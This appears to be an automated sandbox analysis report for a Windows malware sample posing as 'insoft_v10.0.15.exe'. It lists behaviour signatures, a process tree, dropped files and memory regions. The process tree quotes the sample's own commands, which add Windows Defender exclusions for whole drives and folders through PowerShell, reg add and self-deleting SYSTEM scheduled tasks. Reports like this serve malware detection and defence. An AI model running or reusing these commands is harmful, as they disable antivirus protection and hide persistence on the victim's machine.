Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 14:21

General

  • Target
    insoft_v10.0.15.exe
  • Size 35.0MB
  • Sample260815-rn2ecscr81
  • SHA256 05947c1a51b1821bc44990abb6e9ed410c7b0b3f246239776f17d84f0c4b2fca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3560
  • C:\Users\Public\FVnnCD\kOkgZH.exe
    "C:\Users\Public\FVnnCD\kOkgZH.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1484
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FVnnCD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FVnnCD\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5964
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4592
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1792
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5308
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4180
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4556
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3384
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6096
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5640
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4688
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:436
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4460
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5948
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5244
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3008
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3180
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4540
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4084
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1384
                      • C:\Users\Public\FVnnCD\kOkgZH.exe
                        "C:\Users\Public\FVnnCD\kOkgZH.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:692
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FVnnCD" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2772
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FVnnCD" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4512
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4800
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4400
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3620
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2376
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5872

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\FVnnCD\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 8a233f74ac269b800f71668b876730fba0f2cb43791981d9d798a6e318327f84
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\FVnnCD\adoresd.dat
                              • Size 4.7MB
                              • SHA256 20311611bbf0ca51d12dc3aa89ffb224db9065962facc27566ef4da251d8e9b9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              kOkgZH.exe

                              • Path C:\Users\Public\FVnnCD\kOkgZH.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\FVnnCD\msadox.tb
                              • Size 8KB
                              • SHA256 b7fed218d64262896b742557ef34b708a954e7fecddc59d6770996dedaf5878b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/692-579-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/692-573-0x00007FFE4DA50000-0x00007FFE4DF6E000-memory.dmp

                              memory/692-584-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/692-585-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/692-586-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/692-587-0x00007FFE70670000-0x00007FFE70672000-memory.dmp

                              memory/692-583-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/692-578-0x00007FFE70680000-0x00007FFE70682000-memory.dmp

                              memory/692-576-0x000001D76D740000-0x000001D76DFC7000-memory.dmp

                              memory/1484-596-0x000001FDF8100000-0x000001FDF810A000-memory.dmp

                              memory/1484-593-0x000001FDF8110000-0x000001FDF812E000-memory.dmp

                              memory/1484-594-0x000001FDF8130000-0x000001FDF81E2000-memory.dmp

                              memory/1484-590-0x000001FDF80C0000-0x000001FDF80E2000-memory.dmp

                              memory/2092-539-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-538-0x00007FFE70680000-0x00007FFE70682000-memory.dmp

                              memory/2092-550-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-557-0x000002A191400000-0x000002A19144E000-memory.dmp

                              memory/2092-560-0x000002A192740000-0x000002A1927CA000-memory.dmp

                              memory/2092-530-0x00007FFE70670000-0x00007FFE70672000-memory.dmp

                              memory/2092-559-0x000002A192740000-0x000002A1927CA000-memory.dmp

                              memory/2092-531-0x00007FFE4DA50000-0x00007FFE4DF6E000-memory.dmp

                              memory/2092-563-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-565-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-566-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-545-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-546-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-558-0x000002A192740000-0x000002A1927CA000-memory.dmp

                              memory/2092-544-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-561-0x000002A192740000-0x000002A1927CA000-memory.dmp

                              memory/2092-543-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/2092-536-0x000002A191EB0000-0x000002A192737000-memory.dmp

                              memory/3560-1-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3560-2-0x00000000042F0000-0x00000000042FC000-memory.dmp

                              memory/3560-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3560-525-0x00007FFE67D00000-0x00007FFE67D12000-memory.dmp

                              memory/3560-504-0x00007FFE67D00000-0x00007FFE67D12000-memory.dmp

                              memory/3560-524-0x00000000004D0000-0x00000000004DE000-memory.dmp